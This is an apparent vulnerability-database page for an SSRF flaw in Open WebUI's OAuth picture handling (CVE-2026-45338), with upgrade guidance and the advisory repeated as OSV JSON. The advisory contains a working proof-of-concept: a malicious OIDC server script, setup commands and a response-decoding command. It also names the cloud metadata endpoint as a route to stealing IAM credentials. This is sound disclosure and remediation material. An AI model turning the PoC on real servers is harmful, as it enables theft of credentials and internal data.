CVE-2026-45338: Open webui Open WebUI Vulnerable To SSRF Vulnerability

HIGH
Advisory Identifier: GHSA-24c9-2m8q-qhmh
CVSS 7.7
CWE-918
Published
Advisory Summary

CVE-2026-45338 is a HIGH (CVSS 7.7) open webui vulnerable to ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Open webui libraries in the PyPI ecosystem. The issue involves open webui vulnerable to ssrf via oauth profile picture url in _process_picture_url (oauth.py). Remediation is available by upgrading affected packages to version 0.9.0.

CVE-2026-45338 at a Glance

CVE Identifier CVE-2026-45338
GHSA Identifier GHSA-24c9-2m8q-qhmh
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Open webui
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-45338

To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

open-webui fixed: 0.9.0
pip install open-webui>=0.9.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show open-webui

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-45338, inspect your installed packages using pip:

pip show open-webui

Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.0), your application is affected.

Note: The pip show open-webui command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in `_process_picture_url()` in `backend/open_webui/utils/oauth.py` (line ~1338). The function fetches arbitrary URLs from OAuth `picture` claims without applying `validate_url()`, allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. ## Vulnerable Code ```python # backend/open_webui/utils/oauth.py, line ~1337-1345 async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: # No validate_url() call here async with aiohttp.ClientSession(trust_env=True) as session: async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp: if resp.ok: picture = await resp.read() base64_encoded_picture = base64.b64encode(picture).decode('utf-8') return f'data:{guessed_mime_type};base64,{base64_encoded_picture}' ``` The codebase already uses `validate_url()` for the same SSRF protection pattern in other paths: - `backend/open_webui/utils/files.py:38` - `validate_url(url)` before `requests.get(url)` - `backend/open_webui/routers/images.py:800` - `validate_url(data)` before `requests.get(data)` The omission in `_process_picture_url()` is inconsistent with the project's own security practices. ## Affected Code Paths 1. **New user OAuth signup** (line ~1556): `picture_url = await self._process_picture_url(picture_url, token.get('access_token'))` 2. **Existing user picture update on login** (line ~1536): when `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` ## Steps to Reproduce ### Prerequisites - Open WebUI instance with generic OIDC OAuth configured - `ENABLE_OAUTH_SIGNUP=true` ### Setup **1. Start a minimal OIDC server** that returns a malicious `picture` claim pointing to an internal canary endpoint: ```python """Minimal OIDC PoC server - save as poc_oidc.py""" from http.server import HTTPServer, BaseHTTPRequestHandler import json, urllib.parse SSRF_TARGET = "http://host.docker.internal:9000/canary" CANARY = "SSRF_CONFIRMED_OPEN_WEBUI" class Handler(BaseHTTPRequestHandler): def do_GET(self): path = urllib.parse.urlparse(self.path).path query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query) if path == "/.well-known/openid-configuration": self._json({"issuer":"http://host.docker.internal:9000", "authorization_endpoint":"http://localhost:9000/authorize", "token_endpoint":"http://host.docker.internal:9000/token", "userinfo_endpoint":"http://host.docker.internal:9000/userinfo", "jwks_uri":"http://host.docker.internal:9000/jwks", "response_types_supported":["code"],"subject_types_supported":["public"], "id_token_signing_alg_values_supported":["RS256"], "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]}) elif path == "/authorize": ru = query.get("redirect_uri",[""])[0] st = query.get("state",[""])[0] self.send_response(302) self.send_header("Location", f"{ru}?code=poc-code&state={st}") self.end_headers() elif path == "/userinfo": self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}) elif path == "/jwks": self._json({"keys":[]}) elif path == "/canary": self.send_response(200) self.send_header("Content-Type","text/plain") body = CANARY.encode() self.send_header("Content-Length",len(body)) self.end_headers() self.wfile.write(body) print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!") else: self.send_response(404); self.end_headers() def do_POST(self): if "/token" in self.path: self._json({"access_token":"tok","token_type":"bearer","expires_in":3600, "userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}}) def _json(self, d): b = json.dumps(d).encode() self.send_response(200) self.send_header("Content-Type","application/json") self.send_header("Content-Length",len(b)) self.end_headers() self.wfile.write(b) HTTPServer(("0.0.0.0", 9000), Handler).serve_forever() ``` **2. Run the PoC server:** ```bash python3 poc_oidc.py ``` **3. Start Open WebUI with Docker:** ```bash docker run -d -p 3000:8080 \ --name owui-ssrf-test \ --add-host=host.docker.internal:host-gateway \ -e ENABLE_OAUTH_SIGNUP=true \ -e WEBUI_AUTH=true \ -e OAUTH_CLIENT_ID=test-client \ -e OAUTH_CLIENT_SECRET=test-secret \ -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \ -e OAUTH_PROVIDER_NAME=TestOIDC \ -e "OAUTH_SCOPES=openid email profile" \ ghcr.io/open-webui/open-webui:main ``` **4. Create an admin account** at `http://localhost:3000`, then sign out. **5. Click "Continue with TestOIDC"** on the login page. **6. Observe the PoC server terminal** - it prints `!!! CANARY FETCHED - SSRF CONFIRMED !!!` **7. Verify exfiltrated data is stored and readable:** ```bash curl -s http://localhost:3000/api/v1/auths/ \ -H "Authorization: Bearer <session-token>" | python3 -c " import sys, json, base64 data = json.load(sys.stdin) url = data.get('profile_image_url', '') if 'base64,' in url: decoded = base64.b64decode(url.split('base64,',1)[1]).decode() print(f'DECODED: {decoded}') " ``` **Result:** `DECODED: SSRF_CONFIRMED_OPEN_WEBUI` The server fetched the attacker-controlled URL, base64-encoded the response, stored it as `profile_image_url`, and the attacker can read it back via the API. ## Impact An attacker can force the Open WebUI server to make HTTP requests to: - **Cloud metadata endpoints** (AWS IMDSv1 at `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) to steal IAM credentials - **Internal network services** not exposed to the internet - **Localhost-bound services** (Redis, Elasticsearch, internal APIs) This is a **full-read SSRF**: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded `profile_image_url` field. ## Configuration Note This vulnerability requires `ENABLE_OAUTH_SIGNUP=true` (for the new-user path) or `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all. ## Suggested Fix Apply `validate_url()` before fetching, consistent with existing patterns in the codebase: ```python from open_webui.retrieval.web.utils import validate_url async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: if not picture_url: return '/user.png' try: validate_url(picture_url) # Add this line # ... rest unchanged ```

CVE-2026-45338 Affected Open webui Versions

1 component(s)
Fixed Versions:
0.9.0
Product / Package Ecosystem Affected Versions Fixed Version
open-webui
PyPI
< 0.9.0
0.9.0

References

Frequently Asked Questions

What is CVE-2026-45338?
CVE-2026-45338 is a security vulnerability in Open webui involving Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py) under CWE-918: Server-Side Request Forgery (SSRF).
Which Open webui versions are affected?
Affected versions include releases prior to 0.9.0 across affected packages: open-webui.
What version fixes CVE-2026-45338?
Upgrading to 0.9.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is open-webui affected?
Yes, open-webui is affected in releases prior to 0.9.0. Upgrade your dependency to 0.9.0 or later.
What is the CVSS score of CVE-2026-45338?
CVE-2026-45338 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-45338?
CVE-2026-45338 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2026-45338?
Run the dependency tree command: 'pip show open-webui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-24c9-2m8q-qhmh",
  "modified" : "2026-05-19T15:59:13Z",
  "published" : "2026-05-14T20:19:56Z",
  "aliases" : [ "CVE-2026-45338" ],
  "summary" : "Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)",
  "details" : "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `_process_picture_url()` in `backend/open_webui/utils/oauth.py` (line ~1338). The function fetches arbitrary URLs from OAuth `picture` claims without applying `validate_url()`, allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.\n\n## Vulnerable Code\n```python\n# backend/open_webui/utils/oauth.py, line ~1337-1345\nasync def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:\n    # No validate_url() call here\n    async with aiohttp.ClientSession(trust_env=True) as session:\n        async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:\n            if resp.ok:\n                picture = await resp.read()\n                base64_encoded_picture = base64.b64encode(picture).decode('utf-8')\n                return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'\n```\n\nThe codebase already uses `validate_url()` for the same SSRF protection pattern in other paths:\n- `backend/open_webui/utils/files.py:38` - `validate_url(url)` before `requests.get(url)`\n- `backend/open_webui/routers/images.py:800` - `validate_url(data)` before `requests.get(data)`\n\nThe omission in `_process_picture_url()` is inconsistent with the project's own security practices.\n\n## Affected Code Paths\n\n1. **New user OAuth signup** (line ~1556): `picture_url = await self._process_picture_url(picture_url, token.get('access_token'))`\n2. **Existing user picture update on login** (line ~1536): when `OAUTH_UPDATE_PICTURE_ON_LOGIN=true`\n\n## Steps to Reproduce\n\n### Prerequisites\n- Open WebUI instance with generic OIDC OAuth configured\n- `ENABLE_OAUTH_SIGNUP=true`\n\n### Setup\n\n**1. Start a minimal OIDC server** that returns a malicious `picture` claim pointing to an internal canary endpoint:\n```python\n\"\"\"Minimal OIDC PoC server - save as poc_oidc.py\"\"\"\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, urllib.parse\n\nSSRF_TARGET = \"http://host.docker.internal:9000/canary\"\nCANARY = \"SSRF_CONFIRMED_OPEN_WEBUI\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        path = urllib.parse.urlparse(self.path).path\n        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)\n        if path == \"/.well-known/openid-configuration\":\n            self._json({\"issuer\":\"http://host.docker.internal:9000\",\n                \"authorization_endpoint\":\"http://localhost:9000/authorize\",\n                \"token_endpoint\":\"http://host.docker.internal:9000/token\",\n                \"userinfo_endpoint\":\"http://host.docker.internal:9000/userinfo\",\n                \"jwks_uri\":\"http://host.docker.internal:9000/jwks\",\n                \"response_types_supported\":[\"code\"],\"subject_types_supported\":[\"public\"],\n                \"id_token_signing_alg_values_supported\":[\"RS256\"],\n                \"token_endpoint_auth_methods_supported\":[\"client_secret_post\",\"client_secret_basic\"]})\n        elif path == \"/authorize\":\n            ru = query.get(\"redirect_uri\",[\"\"])[0]\n            st = query.get(\"state\",[\"\"])[0]\n            self.send_response(302)\n            self.send_header(\"Location\", f\"{ru}?code=poc-code&state={st}\")\n            self.end_headers()\n        elif path == \"/userinfo\":\n            self._json({\"sub\":\"attacker\",\"email\":\"attacker@example.com\",\"name\":\"Attacker\",\"picture\":SSRF_TARGET})\n        elif path == \"/jwks\":\n            self._json({\"keys\":[]})\n        elif path == \"/canary\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\",\"text/plain\")\n            body = CANARY.encode()\n            self.send_header(\"Content-Length\",len(body))\n            self.end_headers()\n            self.wfile.write(body)\n            print(f\"!!! CANARY FETCHED - SSRF CONFIRMED !!!\")\n        else:\n            self.send_response(404); self.end_headers()\n    def do_POST(self):\n        if \"/token\" in self.path:\n            self._json({\"access_token\":\"tok\",\"token_type\":\"bearer\",\"expires_in\":3600,\n                \"userinfo\":{\"sub\":\"attacker\",\"email\":\"attacker@example.com\",\"name\":\"Attacker\",\"picture\":SSRF_TARGET}})\n    def _json(self, d):\n        b = json.dumps(d).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\",\"application/json\")\n        self.send_header(\"Content-Length\",len(b))\n        self.end_headers()\n        self.wfile.write(b)\n\nHTTPServer((\"0.0.0.0\", 9000), Handler).serve_forever()\n```\n\n**2. Run the PoC server:**\n```bash\npython3 poc_oidc.py\n```\n\n**3. Start Open WebUI with Docker:**\n```bash\ndocker run -d -p 3000:8080 \\\n  --name owui-ssrf-test \\\n  --add-host=host.docker.internal:host-gateway \\\n  -e ENABLE_OAUTH_SIGNUP=true \\\n  -e WEBUI_AUTH=true \\\n  -e OAUTH_CLIENT_ID=test-client \\\n  -e OAUTH_CLIENT_SECRET=test-secret \\\n  -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \\\n  -e OAUTH_PROVIDER_NAME=TestOIDC \\\n  -e \"OAUTH_SCOPES=openid email profile\" \\\n  ghcr.io/open-webui/open-webui:main\n```\n\n**4. Create an admin account** at `http://localhost:3000`, then sign out.\n\n**5. Click \"Continue with TestOIDC\"** on the login page.\n\n**6. Observe the PoC server terminal** - it prints `!!! CANARY FETCHED - SSRF CONFIRMED !!!`\n\n**7. Verify exfiltrated data is stored and readable:**\n```bash\ncurl -s http://localhost:3000/api/v1/auths/ \\\n  -H \"Authorization: Bearer <session-token>\" | python3 -c \"\nimport sys, json, base64\ndata = json.load(sys.stdin)\nurl = data.get('profile_image_url', '')\nif 'base64,' in url:\n    decoded = base64.b64decode(url.split('base64,',1)[1]).decode()\n    print(f'DECODED: {decoded}')\n\"\n```\n\n**Result:** `DECODED: SSRF_CONFIRMED_OPEN_WEBUI`\n\nThe server fetched the attacker-controlled URL, base64-encoded the response, stored it as `profile_image_url`, and the attacker can read it back via the API.\n\n## Impact\n\nAn attacker can force the Open WebUI server to make HTTP requests to:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) to steal IAM credentials\n- **Internal network services** not exposed to the internet\n- **Localhost-bound services** (Redis, Elasticsearch, internal APIs)\n\nThis is a **full-read SSRF**: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded `profile_image_url` field.\n\n## Configuration Note\n\nThis vulnerability requires `ENABLE_OAUTH_SIGNUP=true` (for the new-user path) or `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.\n\n## Suggested Fix\n\nApply `validate_url()` before fetching, consistent with existing patterns in the codebase:\n```python\nfrom open_webui.retrieval.web.utils import validate_url\n\nasync def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:\n    if not picture_url:\n        return '/user.png'\n    try:\n        validate_url(picture_url)  # Add this line\n        # ... rest unchanged\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.12"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-24c9-2m8q-qhmh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45338"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:19:56Z",
    "nvd_published_at" : "2026-05-15T22:16:54Z"
  }
}